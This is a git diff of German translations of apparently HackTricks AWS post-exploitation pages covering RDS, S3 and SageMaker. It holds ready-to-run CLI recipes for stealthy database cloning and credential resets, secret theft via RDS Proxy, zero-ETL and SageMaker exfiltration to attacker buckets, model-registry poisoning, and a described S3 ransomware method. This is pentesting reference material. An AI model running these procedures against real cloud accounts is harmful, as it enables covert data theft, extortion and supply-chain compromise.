+Auswirkung: Read-only access auf Produktionsdaten über eine replica mit attacker-controlled credentials; geringere Erkennungswahrscheinlichkeit, da das primary unberührt bleibt und die Replikation fortgesetzt wird.
 ```bash
 # 1) Recon: find non-Aurora sources with backups enabled
 aws rds describe-db-instances \
@@ -304,13 +304,13 @@ REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier <REPL_ID>
 # Optional: promote for persistence
 # aws rds promote-read-replica --db-instance-identifier <REPL_ID>
 ```
-Beispielbelege (MySQL):
-- Replica-DB-Status: `available`, Lese-Replikation: `replicating`
-- Erfolgreiche Verbindung mit neuem Passwort und `@@read_only=1`, die schreibgeschützten Zugriff auf die Replica bestätigt.
+Beispielhafte Hinweise (MySQL):
+- Replica-DB-Status: `available`, Lesereplikation: `replicating`
+- Erfolgreiche Verbindung mit neuem Passwort und `@@read_only=1`, die den Lesezugriff auf die Replica bestätigt.
 
 ### `rds:CreateBlueGreenDeployment`, `rds:ModifyDBInstance`
 
-RDS Blue/Green missbrauchen, um eine Produktions-DB in eine kontinuierlich replizierte, schreibgeschützte Green-Umgebung zu klonen. Anschließend die Green-Master-Zugangsdaten zurücksetzen, um auf die Daten zuzugreifen, ohne die Blue (prod)-Instanz anzufassen. Das ist unauffälliger als die Freigabe von Snapshots und umgeht oft Überwachung, die sich nur auf die Quelle konzentriert.
+RDS Blue/Green missbrauchen, um eine Produktions-DB in eine kontinuierlich replizierte, schreibgeschützte green-Umgebung zu klonen. Anschließend die Master-Zugangsdaten der green-Umgebung zurücksetzen, um auf die Daten zuzugreifen, ohne die blue (prod)-Instanz zu berühren. Das ist unauffälliger als die Freigabe von Snapshots und umgeht häufig Monitoring, das sich nur auf die Quelle konzentriert.
 ```bash
 # 1) Recon – find eligible source (non‑Aurora MySQL/PostgreSQL in the same account)
 aws rds describe-db-instances \
@@ -357,22 +357,22 @@ aws rds delete-blue-green-deployment \
 --blue-green-deployment-identifier <BGD_ID> \
 --delete-target true
 ```
-Impact: Nur-Lese, aber voller Datenzugriff auf eine nahezu Echtzeit-Kopie der Produktion, ohne die Produktionsinstanz zu verändern. Nützlich für unauffällige Datenausleitung und Offline-Analyse.
+Auswirkung: Nur-Lesezugriff, jedoch vollständiger Datenzugriff auf eine nahezu Echtzeit-Kopie der Produktionsumgebung, ohne die Produktionsinstanz zu verändern. Nützlich für unauffällige Datenextraktion und Offline-Analyse.
 
 
-### Out-of-band SQL via RDS Data API by enabling HTTP endpoint + resetting master password
+### Out-of-band SQL via RDS Data API durch Aktivieren des HTTP-Endpunkts + Zurücksetzen des Master-Passworts
 
-Missbrauche Aurora, um das RDS Data API HTTP endpoint auf einem Ziel-Cluster zu aktivieren, das master password auf einen von dir kontrollierten Wert zurückzusetzen und SQL über HTTPS auszuführen (kein VPC-Netzwerkpfad erforderlich). Funktioniert auf Aurora-Engines, die die Data API/EnableHttpEndpoint unterstützen (z. B. Aurora MySQL 8.0 provisioned; einige Aurora PostgreSQL/MySQL-Versionen).
+Missbrauche Aurora, um den RDS Data API HTTP-Endpunkt in einem Ziel-Cluster zu aktivieren, das Master-Passwort auf einen von dir kontrollierten Wert zurückzusetzen und SQL über HTTPS auszuführen (kein VPC-Netzwerkpfad erforderlich). Funktioniert auf Aurora-Engines, die die Data API/EnableHttpEndpoint unterstützen (z. B. Aurora MySQL 8.0 provisioned; einige Aurora PostgreSQL/MySQL-Versionen).
 
-Permissions (minimum):
-- rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint)
+Berechtigungen (mindestens):
+- rds:DescribeDBClusters, rds:ModifyDBCluster (oder rds:EnableHttpEndpoint)
 - secretsmanager:CreateSecret
-- rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used)
+- rds-data:ExecuteStatement (und rds-data:BatchExecuteStatement falls verwendet)
 
-Impact: Umgehung von Netzwerksegmentierung und Exfiltration von Daten über AWS APIs ohne direkte VPC-Konnektivität zur DB.
+Auswirkung: Umgehung der Netzwerksegmentierung und Exfiltration von Daten über AWS-APIs ohne direkte VPC-Konnektivität zur DB.
 
 <details>
-<summary>End-to-end CLI (Aurora MySQL Beispiel)</summary>
+<summary>End-to-end-CLI (Beispiel: Aurora MySQL)</summary>
 ```bash
 # 1) Identify target cluster ARN
 REGION=us-east-1
@@ -425,21 +425,21 @@ aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
 </details>
 
 Hinweise:
-- If multi-statement SQL is rejected by rds-data, issue separate execute-statement calls.
-- For engines where modify-db-cluster --enable-http-endpoint has no effect, use rds enable-http-endpoint --resource-arn.
-- Ensure the engine/version actually supports the Data API; otherwise HttpEndpointEnabled will remain False.
+- Wenn mehrteilige SQL-Anweisungen von rds-data abgelehnt werden, führe separate execute-statement-Aufrufe aus.
+- Für Engines, bei denen modify-db-cluster --enable-http-endpoint keine Wirkung hat, verwende rds enable-http-endpoint --resource-arn.
+- Stelle sicher, dass die Engine/Version die Data API tatsächlich unterstützt; andernfalls bleibt HttpEndpointEnabled False.
 
 
-### DB-Anmeldeinformationen via RDS Proxy auth secrets erlangen (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
+### DB-Anmeldeinformationen über RDS Proxy auth secrets erlangen (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
 
-Missbrauche die RDS Proxy-Konfiguration, um das Secrets Manager secret zu finden, das für die Backend-Authentifizierung verwendet wird, und lese dieses secret aus, um Datenbank-Zugangsdaten zu erhalten. Viele Umgebungen gewähren weitreichende `secretsmanager:GetSecretValue`-Berechtigungen, was dies zu einem wenig aufwendigen Pivot zu DB-Zugangsdaten macht. Falls das secret eine CMK verwendet, können falsch konfigurierte KMS-Rechte auch `kms:Decrypt` erlauben.
+Missbrauche die RDS Proxy-Konfiguration, um das von Secrets Manager verwendete Secret für die Backend-Authentifizierung zu entdecken, und lese dann das Secret aus, um Datenbank-Anmeldeinformationen zu erhalten. Viele Umgebungen gewähren weitreichende `secretsmanager:GetSecretValue`-Berechtigungen, was dies zu einem low-friction Pivot zu DB-Anmeldeinformationen macht. Verwendet das Secret eine CMK, können falsch bemessene KMS-Berechtigungen möglicherweise auch `kms:Decrypt` erlauben.
 
-Benötigte Berechtigungen (mindestens):
+Erforderliche Berechtigungen (mindestens):
 - `rds:DescribeDBProxies`
-- `secretsmanager:GetSecretValue` on the referenced SecretArn
-- Optional when the secret uses a CMK: `kms:Decrypt` on that key
+- `secretsmanager:GetSecretValue` für das referenzierte SecretArn
+- Optional, wenn das Secret eine CMK verwendet: `kms:Decrypt` für diesen Schlüssel
 
-Impact: Immediate disclosure of DB username/password configured on the proxy; enables direct DB access or further lateral movement.
+Impact: Sofortige Offenlegung des auf dem Proxy konfigurierten DB-Benutzernamens/-passworts; ermöglicht direkten DB-Zugriff oder weiteres lateral movement.
 
 Schritte
 ```bash
@@ -454,7 +454,7 @@ aws secretsmanager get-secret-value \
 --query SecretString --output text
 # Example output: {"username":"admin","password":"S3cr3t!"}
 ```
-Lab (minimal zur Reproduktion)
+Lab (minimal zum Reproduzieren)
 ```bash
 REGION=us-east-1
 ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
@@ -473,7 +473,7 @@ aws rds create-db-proxy --db-proxy-name p0 --engine-family MYSQL \
 aws rds wait db-proxy-available --db-proxy-name p0
 # Now run the enumeration + secret read from the Steps above
 ```
-Aufräumen (Labor)
+Aufräumen (lab)
 ```bash
 aws rds delete-db-proxy --db-proxy-name p0
 aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aws:iam::aws:policy/SecretsManagerReadWrite
@@ -482,18 +482,18 @@ aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delet
 ```
 ### Stealthy continuous exfiltration via Aurora zero‑ETL to Amazon Redshift (rds:CreateIntegration)
 
-Missbrauche die Aurora PostgreSQL zero‑ETL-Integration, um Produktionsdaten kontinuierlich in einen Redshift Serverless Namespace zu replizieren, den du kontrollierst. Mit einer zu großzügigen Redshift-Ressourcenrichtlinie, die CreateInboundIntegration/AuthorizeInboundIntegration für eine bestimmte Aurora cluster ARN autorisiert, kann ein Angreifer eine nahezu Echtzeit-Datenkopie herstellen, ohne DB creds, snapshots oder Netzwerkzugriff.
+Missbrauche die Aurora PostgreSQL zero‑ETL integration, um Produktionsdaten kontinuierlich in einen Redshift Serverless namespace zu replizieren, den Sie kontrollieren. Mit einer zu großzügigen Redshift resource policy, die CreateInboundIntegration/AuthorizeInboundIntegration für eine bestimmte Aurora cluster ARN autorisiert, kann ein Angreifer eine nahezu in Echtzeit arbeitende Datenkopie herstellen, ohne DB creds, snapshots oder network exposure.
 
-Permissions needed (minimum):
+Benötigte Berechtigungen (mindestens):
 - `rds:CreateIntegration`, `rds:DescribeIntegrations`, `rds:DeleteIntegration`
 - `redshift:PutResourcePolicy`, `redshift:DescribeInboundIntegrations`, `redshift:DescribeIntegrations`
-- `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (zum Abfragen)
-- `rds-data:ExecuteStatement` (optional; um bei Bedarf Daten einzuspielen)
+- `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (to query)
+- `rds-data:ExecuteStatement` (optional; to seed data if needed)
 
-Tested on: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.
+Getestet in: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.
 
 <details>
-<summary>1) Erstelle Redshift Serverless namespace + workgroup</summary>
+<summary>1) Redshift Serverless namespace + workgroup erstellen</summary>
 ```bash
 REGION=us-east-1
 RS_NS_ARN=$(aws redshift-serverless create-namespace --region $REGION --namespace-name ztl-ns \
@@ -540,7 +540,7 @@ aws redshift put-resource-policy --region $REGION --resource-arn "$RS_NS_ARN" --
 </details>
 
 <details>
-<summary>3) Aurora PostgreSQL-Cluster erstellen (Data API und logische Replikation aktivieren)</summary>
+<summary>3) Erstelle Aurora PostgreSQL-Cluster (Data API und logische Replikation aktivieren)</summary>
 ```bash
 CLUSTER_ID=aurora-ztl
 aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
@@ -571,7 +571,7 @@ SRC_ARN=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier
 </details>
 
 <details>
-<summary>4) Erstelle die zero‑ETL-Integration von RDS</summary>
+<summary>4) Erstelle die zero‑ETL-Integration aus RDS</summary>
 ```bash
 # Include all tables in the default 'postgres' database
 aws rds create-integration --region $REGION --source-arn "$SRC_ARN" \
@@ -596,12 +596,12 @@ aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --d
 ```
 </details>
 
-Beobachtete Hinweise im Test:
+Im Test beobachtete Hinweise:
 - redshift describe-inbound-integrations: Status ACTIVE for Integration arn:...377a462b-...
-- SVV_INTEGRATION zeigte integration_id 377a462b-c42c-4f08-937b-77fe75d98211 und den Zustand PendingDbConnectState vor der DB-Erstellung.
-- Nach CREATE DATABASE FROM INTEGRATION zeigte das Auflisten der Tabellen das Schema ztl und die Tabelle customers; eine Abfrage von ztl.customers gab 2 Zeilen zurück (Alice, Bob).
+- SVV_INTEGRATION zeigte integration_id 377a462b-c42c-4f08-937b-77fe75d98211 und state PendingDbConnectState vor der DB-Erstellung.
+- Nach CREATE DATABASE FROM INTEGRATION zeigte das Auflisten der Tabellen das Schema ztl und die Tabelle customers; selecting from ztl.customers returned 2 rows (Alice, Bob).
 
-Auswirkung: Kontinuierliche nahezu Echtzeit-Exfiltration ausgewählter Aurora PostgreSQL-Tabellen in Redshift Serverless, kontrolliert vom Angreifer, ohne Verwendung von Datenbank-Anmeldeinformationen, Sicherungen oder Netzwerkzugriff auf den Quell-Cluster.
+Auswirkung: Kontinuierliche near‑real‑time exfiltration ausgewählter Aurora PostgreSQL-Tabellen in ein vom Angreifer kontrolliertes Redshift Serverless, ohne Verwendung von Datenbank-Anmeldeinformationen, Backups oder Netzwerkzugriff auf das Quell-Cluster.
 
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md
deleted file mode 100644
index 2f379f65e..000000000
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md
+++ /dev/null
@@ -1,38 +0,0 @@
-# AWS - S3 Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## S3
-
-Für weitere Informationen siehe:
-
-{{#ref}}
-../aws-services/aws-s3-athena-and-glacier-enum.md
-{{#endref}}
-
-### Sensible Informationen
-
-Manchmal können Sie sensible Informationen in lesbaren Buckets finden. Zum Beispiel Terraform-Zustandsgeheimnisse.
-
-### Pivoting
-
-Verschiedene Plattformen könnten S3 verwenden, um sensible Assets zu speichern.\
-Zum Beispiel könnte **airflow** **DAGs** **Code** dort speichern, oder **Webseiten** könnten direkt von S3 bereitgestellt werden. Ein Angreifer mit Schreibberechtigungen könnte den **Code** aus dem Bucket **modifizieren**, um zu anderen Plattformen zu **pivotieren** oder **Konten zu übernehmen**, indem er JS-Dateien ändert.
-
-### S3 Ransomware
-
-In diesem Szenario **erstellt der Angreifer einen KMS (Key Management Service) Schlüssel in seinem eigenen AWS-Konto** oder einem anderen kompromittierten Konto. Dann macht er diesen **Schlüssel für jeden auf der Welt zugänglich**, sodass jeder AWS-Benutzer, jede Rolle oder jedes Konto Objekte mit diesem Schlüssel verschlüsseln kann. Die Objekte können jedoch nicht entschlüsselt werden.
-
-Der Angreifer identifiziert einen Ziel-**S3-Bucket und erhält Schreibzugriff** darauf, indem er verschiedene Methoden anwendet. Dies könnte auf eine schlechte Bucket-Konfiguration zurückzuführen sein, die ihn öffentlich macht, oder der Angreifer erhält Zugriff auf die AWS-Umgebung selbst. Der Angreifer zielt typischerweise auf Buckets ab, die sensible Informationen wie personenbezogene Daten (PII), geschützte Gesundheitsinformationen (PHI), Protokolle, Backups und mehr enthalten.
-
-Um festzustellen, ob der Bucket für Ransomware angegriffen werden kann, überprüft der Angreifer seine Konfiguration. Dazu gehört die Überprüfung, ob **S3 Object Versioning** aktiviert ist und ob **Multi-Faktor-Authentifizierungslöschung (MFA delete) aktiviert ist**. Wenn Object Versioning nicht aktiviert ist, kann der Angreifer fortfahren. Wenn Object Versioning aktiviert ist, aber MFA delete deaktiviert ist, kann der Angreifer **Object Versioning deaktivieren**. Wenn sowohl Object Versioning als auch MFA delete aktiviert sind, wird es für den Angreifer schwieriger, diesen speziellen Bucket mit Ransomware anzugreifen.
-
-Mit der AWS-API **ersetzt der Angreifer jedes Objekt im Bucket durch eine verschlüsselte Kopie mit seinem KMS-Schlüssel**. Dies verschlüsselt effektiv die Daten im Bucket, sodass sie ohne den Schlüssel nicht zugänglich sind.
-
-Um zusätzlichen Druck auszuüben, plant der Angreifer die Löschung des KMS-Schlüssels, der im Angriff verwendet wurde. Dies gibt dem Ziel ein 7-tägiges Zeitfenster, um ihre Daten wiederherzustellen, bevor der Schlüssel gelöscht wird und die Daten dauerhaft verloren gehen.
-
-Schließlich könnte der Angreifer eine letzte Datei hochladen, die normalerweise "ransom-note.txt" heißt und Anweisungen für das Ziel enthält, wie es seine Dateien abrufen kann. Diese Datei wird unverschlüsselt hochgeladen, wahrscheinlich um die Aufmerksamkeit des Ziels zu erregen und es auf den Ransomware-Angriff aufmerksam zu machen.
-
-**Für weitere Informationen** [**prüfen Sie die ursprüngliche Forschung**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md
new file mode 100644
index 000000000..215d77494
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md
@@ -0,0 +1,38 @@
+# AWS - S3 Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## S3
+
+Für weitere Informationen siehe:
+
+{{#ref}}
+../../aws-services/aws-s3-athena-and-glacier-enum.md
+{{#endref}}
+
+### Sensitive Informationen
+
+Manchmal findest du sensible Informationen, die in den Buckets lesbar sind. Zum Beispiel terraform state secrets.
+
+### Pivoting
+
+Verschiedene Plattformen könnten S3 verwenden, um sensible Assets zu speichern.\
+Zum Beispiel könnte **airflow** dort **DAGs** **code** ablegen, oder **web pages** könnten direkt von S3 ausgeliefert werden. Ein Angreifer mit Schreibrechten könnte den Inhalt des Buckets **modify the code** um auf andere Plattformen zu **pivot**, oder durch das Modifizieren von JS-Dateien **takeover accounts**.
+
+### S3 Ransomware
+
+In diesem Szenario erstellt der **Angreifer einen KMS (Key Management Service) key in seinem eigenen AWS-Konto** oder in einem anderen kompromittierten Konto. Anschließend macht er diesen **key weltweit für jedermann zugänglich**, sodass jeder AWS-Benutzer, jede Rolle oder jedes Konto Objekte mit diesem key verschlüsseln kann. Die Objekte können jedoch nicht entschlüsselt werden.
+
+Der Angreifer identifiziert einen Ziel-**S3 bucket und erhält Schreibzugriff** darauf, indem er verschiedene Methoden einsetzt. Dies kann an einer schlechten Bucket-Konfiguration liegen, die ihn öffentlich zugänglich macht, oder daran, dass der Angreifer Zugang zur AWS-Umgebung selbst erlangt hat. Typischerweise zielt der Angreifer auf Buckets ab, die sensible Informationen wie personally identifiable information (PII), protected health information (PHI), Logs, Backups und Ähnliches enthalten.
+
+Um zu bestimmen, ob der Bucket für Ransomware angegriffen werden kann, prüft der Angreifer dessen Konfiguration. Dazu gehört zu überprüfen, ob **S3 Object Versioning** aktiviert ist und ob **multi-factor authentication delete (MFA delete)** aktiviert ist. Ist Object Versioning nicht aktiviert, kann der Angreifer fortfahren. Ist Object Versioning aktiviert, aber MFA delete deaktiviert, kann der Angreifer **Object Versioning deaktivieren**. Sind sowohl Object Versioning als auch MFA delete aktiviert, wird es für den Angreifer deutlich schwieriger, diesen spezifischen Bucket mit Ransomware zu belegen.
+
+Mit der AWS API ersetzt der Angreifer **jedes Objekt im Bucket durch eine mit seinem KMS key verschlüsselte Kopie**. Dadurch werden die Daten im Bucket effektiv verschlüsselt und ohne den key unzugänglich.
+
+Um zusätzlichen Druck aufzubauen, plant der Angreifer die Löschung des in der Attacke verwendeten KMS keys. Dadurch erhält das Ziel ein 7-tägiges Zeitfenster, um seine Daten wiederherzustellen, bevor der key gelöscht wird und die Daten dauerhaft verloren sind.
+
+Abschließend kann der Angreifer eine letzte Datei hochladen, üblicherweise mit dem Namen "ransom-note.txt", die Anweisungen für das Ziel enthält, wie es seine Dateien zurückerlangen kann. Diese Datei wird unverschlüsselt hochgeladen, vermutlich um die Aufmerksamkeit des Ziels zu erregen und auf den Ransomware-Angriff hinzuweisen.
+
+**For more info** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md
new file mode 100644
index 000000000..01f87c47e
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md
@@ -0,0 +1,179 @@
+# AWS - SageMaker Post-Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## SageMaker Endpoint-Datenabfluss über UpdateEndpoint DataCaptureConfig
+
+Missbrauche die SageMaker-Endpoint-Verwaltung, um vollständiges Anfrage-/Antwort-Capturing in einen vom Angreifer kontrollierten S3-Bucket zu aktivieren, ohne das model oder container zu berühren. Verwendet ein Rolling Update mit null/geringer Ausfallzeit und erfordert lediglich Endpoint-Management-Berechtigungen.
+
+### Anforderungen
+- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
+- S3: `s3:CreateBucket` (oder benutze einen bestehenden Bucket im selben Account)
+- Optional (bei Verwendung von SSE‑KMS): `kms:Encrypt` auf dem gewählten CMK
+- Ziel: Ein vorhandener InService Echtzeit-Endpoint im selben Account/Region
+
+### Schritte
+1) Identifiziere einen InService-Endpoint und sammle die aktuellen Produktionsvarianten
+```bash
+REGION=${REGION:-us-east-1}
+EP=$(aws sagemaker list-endpoints --region $REGION --query "Endpoints[?EndpointStatus=='InService']|[0].EndpointName" --output text)
+echo "Endpoint=$EP"
+CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
+echo "EndpointConfig=$CFG"
+aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CFG" --query ProductionVariants > /tmp/pv.json
+```
+2) Attacker-S3-Ziel für captures vorbereiten
+```bash
+ACC=$(aws sts get-caller-identity --query Account --output text)
+BUCKET=ht-sm-capture-$ACC-$(date +%s)
+aws s3 mb s3://$BUCKET --region $REGION
+```
+3) Erstelle eine neue EndpointConfig, die die gleichen Varianten beibehält, aber DataCapture auf den attacker bucket aktiviert
+
+Hinweis: Verwende explizite Content-Types, die der CLI-Validierung genügen.
+```bash
+NEWCFG=${CFG}-dc
+cat > /tmp/dc.json << JSON
+{
+"EnableCapture": true,
+"InitialSamplingPercentage": 100,
+"DestinationS3Uri": "s3://$BUCKET/capture",
+"CaptureOptions": [
+{"CaptureMode": "Input"},
+{"CaptureMode": "Output"}
+],
+"CaptureContentTypeHeader": {
+"JsonContentTypes": ["application/json"],
+"CsvContentTypes": ["text/csv"]
+}
+}
+JSON
+aws sagemaker create-endpoint-config \
+--region $REGION \
+--endpoint-config-name "$NEWCFG" \
+--production-variants file:///tmp/pv.json \
+--data-capture-config file:///tmp/dc.json
+```
+4) Neue Konfiguration per rolling update anwenden (minimale/keine Ausfallzeit)
+```bash
+aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
+aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
+```
+5) Erzeuge mindestens einen Inference-Call (optional, falls Live-Traffic vorhanden ist)
+```bash
+echo '{"inputs":[1,2,3]}' > /tmp/payload.json
+aws sagemaker-runtime invoke-endpoint --region $REGION --endpoint-name "$EP" \
+--content-type application/json --accept application/json \
+--body fileb:///tmp/payload.json /tmp/out.bin || true
+```
+6) Captures im attacker S3 validieren
+```bash
+aws s3 ls s3://$BUCKET/capture/ --recursive --human-readable --summarize
+```
+### Auswirkungen
+- Vollständige Exfiltration von Echtzeit-Inference-Anfrage- und Antwort-Payloads (sowie Metadaten) vom Ziel-Endpoint in ein vom Angreifer kontrolliertes S3-Bucket.
+- Keine Änderungen am Modell/Container-Image und nur Änderungen auf Endpoint-Ebene, was einen unauffälligen Daten-Diebstahlpfad mit minimalen betrieblichen Störungen ermöglicht.
+
+
+## SageMaker async inference output hijack via UpdateEndpoint AsyncInferenceConfig
+
+Missbrauche das Endpoint-Management, um asynchrone Inference-Ausgaben an ein vom Angreifer kontrolliertes S3-Bucket umzuleiten, indem du die aktuelle EndpointConfig klonst und AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath setzt. Dadurch werden Modellvorhersagen (und alle vom Container transformierten Eingaben) exfiltriert, ohne das Modell/den Container zu ändern.
+
+### Anforderungen
+- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
+- S3: Fähigkeit, in das Angreifer-S3-Bucket zu schreiben (über die model execution role oder eine zu großzügige Bucket-Policy)
+- Ziel: Ein InService-Endpoint, bei dem asynchrone Aufrufe verwendet werden (oder verwendet werden sollen)
+
+### Schritte
+1) Sammle die aktuellen ProductionVariants vom Ziel-Endpoint
+```bash
+REGION=${REGION:-us-east-1}
+EP=<target-endpoint-name>
+CUR_CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
+aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CUR_CFG" --query ProductionVariants > /tmp/pv.json
+```
+2) Erstelle einen Angreifer-Bucket (stelle sicher, dass die model execution role PutObject darauf ausführen kann)
+```bash
+ACC=$(aws sts get-caller-identity --query Account --output text)
+BUCKET=ht-sm-async-exfil-$ACC-$(date +%s)
+aws s3 mb s3://$BUCKET --region $REGION || true
+```
+3) Clone EndpointConfig und hijack AsyncInference outputs zum attacker bucket
+```bash
+NEWCFG=${CUR_CFG}-async-exfil
+cat > /tmp/async_cfg.json << JSON
+{"OutputConfig": {"S3OutputPath": "s3://$BUCKET/async-out/", "S3FailurePath": "s3://$BUCKET/async-fail/"}}
+JSON
+aws sagemaker create-endpoint-config --region $REGION   --endpoint-config-name "$NEWCFG"   --production-variants file:///tmp/pv.json   --async-inference-config file:///tmp/async_cfg.json
+aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
+aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
+```
+4) Einen asynchronen Aufruf auslösen und prüfen, dass Objekte im S3 des Angreifers landen
+```bash
+aws s3 cp /etc/hosts s3://$BUCKET/inp.bin
+aws sagemaker-runtime invoke-endpoint-async --region $REGION --endpoint-name "$EP" --input-location s3://$BUCKET/inp.bin >/tmp/async.json || true
+sleep 30
+aws s3 ls s3://$BUCKET/async-out/ --recursive || true
+aws s3 ls s3://$BUCKET/async-fail/ --recursive || true
+```
+### Auswirkungen
+- Leitet asynchrone Inference-Ergebnisse (und Error-Bodies) zu attacker-controlled S3 um und ermöglicht so die verdeckte exfiltration von predictions und potenziell sensiblen vor-/nachverarbeiteten Inputs, die vom container erzeugt werden, ohne Änderung von model code oder image und mit minimaler/keiner Downtime.
+
+
+## SageMaker Model Registry supply-chain injection via CreateModelPackage(Approved)
+
+Wenn ein Angreifer CreateModelPackage auf einer Ziel SageMaker Model Package Group ausführen kann, kann er eine neue Modellversion registrieren, die auf ein vom Angreifer kontrolliertes container image zeigt und sie sofort als Approved markieren. Viele CI/CD-Pipelines deployen Approved-Modellversionen automatisch zu Endpoints oder training jobs, was zur attacker code execution unter den Execution Roles des Dienstes führt. Eine kontoübergreifende Exposition kann durch eine permissive ModelPackageGroup resource policy verstärkt werden.
+
+### Anforderungen
+- IAM (Minimum, um eine bestehende Gruppe zu vergiften): `sagemaker:CreateModelPackage` auf der Ziel-ModelPackageGroup
+- Optional (um eine Gruppe zu erstellen, falls keine existiert): `sagemaker:CreateModelPackageGroup`
+- S3: Lesezugriff auf die referenzierte ModelDataUrl (oder Hosten von vom Angreifer kontrollierten Artefakten)
+- Ziel: Eine Model Package Group, die nachgelagerte Automation auf Approved-Versionen überwacht
+
+### Schritte
+1) Region setzen und eine Ziel Model Package Group erstellen/finden
+```bash
+REGION=${REGION:-us-east-1}
+MPG=victim-group-$(date +%s)
+aws sagemaker create-model-package-group --region $REGION --model-package-group-name $MPG --model-package-group-description "test group"
+```
+2) Dummy-Modell-Daten in S3 vorbereiten
+```bash
+ACC=$(aws sts get-caller-identity --query Account --output text)
+BUCKET=ht-sm-mpkg-$ACC-$(date +%s)
+aws s3 mb s3://$BUCKET --region $REGION
+head -c 1024 </dev/urandom > /tmp/model.tar.gz
+aws s3 cp /tmp/model.tar.gz s3://$BUCKET/model/model.tar.gz --region $REGION
+```
+3) Registriere eine bösartige (hier harmlose) Approved model package version, die auf ein öffentliches AWS DLC-Image verweist
+```bash
+IMG="683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3"
+cat > /tmp/inf.json << JSON
+{
+"Containers": [
+{
+"Image": "$IMG",
+"ModelDataUrl": "s3://$BUCKET/model/model.tar.gz"
+}
+],
+"SupportedContentTypes": ["text/csv"],
+"SupportedResponseMIMETypes": ["text/csv"]
+}
+JSON
+aws sagemaker create-model-package --region $REGION   --model-package-group-name $MPG   --model-approval-status Approved   --inference-specification file:///tmp/inf.json
+```
+4) Überprüfe, dass die neue Approved-Version vorhanden ist
+```bash
+aws sagemaker list-model-packages --region $REGION --model-package-group-name $MPG --output table
+```
+### Auswirkungen
+- Poison the Model Registry mit einer Approved-Version, die auf angreiferkontrollierten Code verweist. Pipelines, die Approved-Modelle automatisch bereitstellen, können das Angreifer-Image ziehen und ausführen, was zur Codeausführung unter endpoint/training roles führt.
+- Mit einer permissiven ModelPackageGroup resource policy (PutModelPackageGroupPolicy) kann dieser Missbrauch kontoübergreifend ausgelöst werden.
+
+## Feature store poisoning
+
+Missbrauche `sagemaker:PutRecord` auf einer Feature Group mit aktiviertem OnlineStore, um Live-Feature-Werte zu überschreiben, die von online inference verwendet werden. In Kombination mit `sagemaker:GetRecord` kann ein Angreifer sensitive Features lesen. Dafür ist kein Zugriff auf models oder endpoints erforderlich.
+
+{{#ref}}
+feature-store-poisoning.md
+{{/ref}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md
new file mode 100644
index 000000000..8d578d988
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md
@@ -0,0 +1,50 @@
+# SageMaker Feature Store online store poisoning
+
